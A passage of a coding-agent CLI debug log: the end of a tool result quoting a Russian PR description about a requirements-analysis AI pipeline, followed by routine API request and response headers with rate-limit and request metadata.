\u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442 `P-08` \u0434\u043b\u044f \u043e\u0446\u0435\u043d\u043a\u0438 \u0447\u0443\u0436\u043e\u0433\u043e \u0422\u0417. [Route](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/routes/rg-bcreq-v1.yaml) \u0438\u043c\u0435\u0435\u0442 `n0` \u0438 MANGO binding, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 BCREQ-\u0441\u0440\u0435\u0437. | \u0412 Source \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b; \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c P-08 \u043a\u0430\u043a \u0443\u0436\u0435 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0443\u0442\u044c. |\\n| Evidence \u2192 FR/UC/NFR | [\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md) \u0437\u0430\u0434\u0430\u0451\u0442 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b; [Golden forms](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md) \u0437\u0430\u0434\u0430\u044e\u0442 \u043f\u0440\u0438\u043c\u0435\u0440\u044b. \u0422\u0435\u043a\u0443\u0449\u0430\u044f [C-OUT schema](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/contracts/c-out-bcreq.schema.json) \u0435\u0449\u0451 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u044b\u0439 coverage contract. | \u0421\u043d\u0430\u0447\u0430\u043b\u0430 Working schema \u0438 negative fixtures, \u0437\u0430\u0442\u0435\u043c `G-mach`, semantic regressions \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 skills. |\\n| Working \u2192 Release | \u0414\u0432\u0430 RFC \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0435\u043b\u044f\u0442 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c: \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u043b\u043e\u0442\u044b \u0438 \u0442\u0438\u043f\u044b \u2014 RFC \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438; \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f, 2.3, 4 \u0438 \u0443\u0441\u043b\u043e\u0432\u043d\u044b\u0439 7 \u2014 RFC \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430. | Source compiler, baseline digest, reverse trace, `G-release` \u0438 privacy checks; Distribution \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0437 Source \u043f\u043e [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md). |\\n| CLI deployment | \u0422\u0440\u0435\u0442\u0438\u0439 [RFC \u043e \u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md) \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f `proposed`: \u043e\u043d \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0441\u0440\u0435\u0434\u0443 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e, \u0430 \u043d\u0435 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 BCREQ. | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c Source \u2192 Distribution \u0441 \u044d\u0442\u0438\u043c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 runtime-\u0437\u0430\u0434\u0430\u0447\u0435; \u0435\u0433\u043e \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Source. |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | [\u041f\u0430\u043a\u0435\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/README.md) \u0443\u0436\u0435 \u0438\u043c\u0435\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u044d\u043c\u0443\u043b\u044f\u0446\u0438\u044e. \u041e\u043d\u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c, \u0432\u044b\u0431\u043e\u0440 \u043f\u0435\u0440\u0432\u0438\u0447\u043d\u043e\u0439 \u043e\u0441\u0438, NFR\u2192FR \u0438\u043b\u0438 Release-\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e. | \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u043f\u043e\u0437\u0438\u0442\u0438\u0432\u043d\u044b\u0435/\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 fixtures \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e gate, \u0432\u043a\u043b\u044e\u0447\u0430\u044f non-CC, external TZ, missing mapping, orphan NFR, unknown compatibility \u0438 \u043f\u043e\u0442\u0435\u0440\u044f\u043d\u043d\u044b\u0439 edge case. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 12 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 Markdown-\u0441\u0441\u044b\u043b\u043e\u043a \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0434\u0438\u043d URL \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 `30-production-law.md`. \u041e\u043d\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b\\n\u0432 \u044d\u0442\u043e\u043c PR. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0432 frontmatter, \u043a\u043e\u0434\u0435 \u0438 YAML \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f\\n\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0443\u0442\u044f\u043c\u0438/\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 Markdown-\u0441\u0441\u044b\u043b\u043a\u0430\u043c\u0438.\\n\\n## \u041d\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u043d\u043e\u0435 \u0438 \u043f\u0443\u0442\u044c \u043a \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438\",\n[2026-09-29T07:45:10.620Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:45:10.620Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:45:10.620Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:45:10.620Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:45:10.620Z] [INFO]   }\n[2026-09-29T07:45:10.620Z] [INFO] }\n[2026-09-29T07:45:10.641Z] [STDOUT] [log_5ecd4b] sending request {\n[2026-09-29T07:45:10.651Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:45:10.657Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:10.670Z] [STDOUT]   options: {\n[2026-09-29T07:45:10.684Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:45:10.690Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:45:10.693Z] [STDOUT]     body: {\n[2026-09-29T07:45:10.701Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:45:10.704Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:45:10.711Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:45:10.714Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:45:10.733Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:45:10.740Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:45:10.744Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:45:10.753Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:45:10.758Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:45:10.761Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:45:10.769Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:45:10.784Z] [STDOUT]       stream: true,\n[2026-09-29T07:45:10.789Z] [STDOUT]     },\n[2026-09-29T07:45:10.793Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:45:10.796Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:45:10.801Z] [STDOUT]       aborted: false,\n[2026-09-29T07:45:10.807Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:45:10.818Z] [STDOUT]       onabort: null,\n[2026-09-29T07:45:10.844Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:45:10.851Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:45:10.854Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:45:10.860Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:45:10.863Z] [STDOUT]     },\n[2026-09-29T07:45:10.872Z] [STDOUT]     stream: true,\n[2026-09-29T07:45:10.875Z] [STDOUT]   },\n[2026-09-29T07:45:10.879Z] [STDOUT]   headers: {\n[2026-09-29T07:45:10.884Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:45:10.888Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:45:10.894Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:45:10.897Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:45:10.900Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:45:10.902Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:45:10.904Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:45:10.908Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:45:10.913Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:45:10.917Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2074\",\n[2026-09-29T07:45:10.927Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:45:10.931Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:45:10.939Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:10.952Z] [STDOUT]     \"x-client-request-id\": \"925ad449-bfa4-41b9-bf14-bcea95bd6593\",\n[2026-09-29T07:45:10.962Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:45:10.968Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:45:10.974Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:45:10.978Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:45:10.982Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:45:10.987Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:45:10.989Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:45:10.995Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:45:10.997Z] [STDOUT]   },\n[2026-09-29T07:45:11.000Z] [STDOUT] }\n[2026-09-29T07:45:11.178Z] [STDOUT] [log_3bf29b, request-id: \"req_011CfXMjgJ8USZ4uKEzZTb4E\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1043ms\n[2026-09-29T07:45:11.182Z] [STDOUT] [log_3bf29b] response start {\n[2026-09-29T07:45:11.186Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.191Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.194Z] [STDOUT]   headers: {\n[2026-09-29T07:45:11.198Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.202Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.212Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.218Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.222Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.233Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.236Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.261Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.271Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.277Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.285Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.289Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.296Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.301Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.303Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.308Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.311Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.318Z] [STDOUT]     \"cf-ray\": \"a4295de65c4229ad-FRA\",\n[2026-09-29T07:45:11.324Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:11.330Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.334Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.338Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.343Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.354Z] [STDOUT]     \"request-id\": \"req_011CfXMjgJ8USZ4uKEzZTb4E\",\n[2026-09-29T07:45:11.357Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:11.364Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.372Z] [STDOUT]     traceresponse: \"00-a486b942da5893f18d385bbcec8663b8-e6e9b527f4deac25-01\",\n[2026-09-29T07:45:11.378Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.390Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:11.407Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.419Z] [STDOUT]   },\n[2026-09-29T07:45:11.445Z] [STDOUT]   durationMs: 1043,\n[2026-09-29T07:45:11.452Z] [STDOUT] }\n[2026-09-29T07:45:11.459Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:11.463Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.466Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.472Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.475Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:11.486Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.490Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.493Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.495Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:11.498Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.501Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.506Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.509Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.511Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.513Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.518Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.525Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.528Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.536Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.550Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.559Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.569Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.573Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.578Z] [STDOUT]   \"request-id\": \"req_011CfXMjgJ8USZ4uKEzZTb4E\",\n[2026-09-29T07:45:11.584Z] [STDOUT]   \"traceresponse\": \"00-a486b942da5893f18d385bbcec8663b8-e6e9b527f4deac25-01\",\n[2026-09-29T07:45:11.587Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.594Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.598Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:45:11.601Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.606Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.609Z] [STDOUT]   \"cf-ray\": \"a4295de65c4229ad-FRA\",\n[2026-09-29T07:45:11.612Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:45:11.617Z] [STDOUT] [log_3bf29b] response parsed {\n[2026-09-29T07:45:11.623Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.629Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.635Z] [STDOUT]   body: X {\n[2026-09-29T07:45:11.638Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:45:11.641Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:45:11.643Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:45:11.645Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:45:11.649Z] [STDOUT]     },\n[2026-09-29T07:45:11.651Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:45:11.654Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:45:11.658Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:45:11.661Z] [STDOUT]   },\n[2026-09-29T07:45:11.663Z] [STDOUT]   durationMs: 1048,\n[2026-09-29T07:45:11.665Z] [STDOUT] }\n[2026-09-29T07:45:11.668Z] [STDOUT] [log_5ecd4b, request-id: \"req_011CfXMjhR6kH2wmXq4xLeCW\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1078ms\n[2026-09-29T07:45:11.671Z] [STDOUT] [log_5ecd4b] response start {\n[2026-09-29T07:45:11.675Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:11.678Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:11.681Z] [STDOUT]   headers: {\n[2026-09-29T07:45:11.686Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:11.690Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.693Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.696Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.700Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.703Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.705Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:45:11.709Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:45:11.712Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:45:11.715Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:45:11.718Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.722Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.727Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.732Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.737Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:11.741Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.746Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:11.752Z] [STDOUT]     \"cf-ray\": \"a4295de80e344d8b-FRA\",\n[2026-09-29T07:45:11.754Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:11.758Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.761Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.764Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.766Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.769Z] [STDOUT]     \"request-id\": \"req_011CfXMjhR6kH2wmXq4xLeCW\",\n[2026-09-29T07:45:11.772Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:11.775Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.779Z] [STDOUT]     traceresponse: \"00-4f72becb22e373c3c7207661281f85a8-84d4f322ad1ce25d-01\",\n[2026-09-29T07:45:11.785Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.790Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:45:11.794Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:45:11.798Z] [STDOUT]   },\n[2026-09-29T07:45:11.803Z] [STDOUT]   durationMs: 1078,\n[2026-09-29T07:45:11.810Z] [STDOUT] }\n[2026-09-29T07:45:11.814Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:45:11.819Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:45:11 GMT\",\n[2026-09-29T07:45:11.823Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:11.827Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:45:11.836Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:45:11.842Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:11.847Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:45:11.852Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:11.854Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:45:11.860Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:11.864Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:11.870Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:45:11.877Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:45:11.880Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:45:11.886Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:11.892Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:45:11.899Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:11.905Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:45:11.909Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": 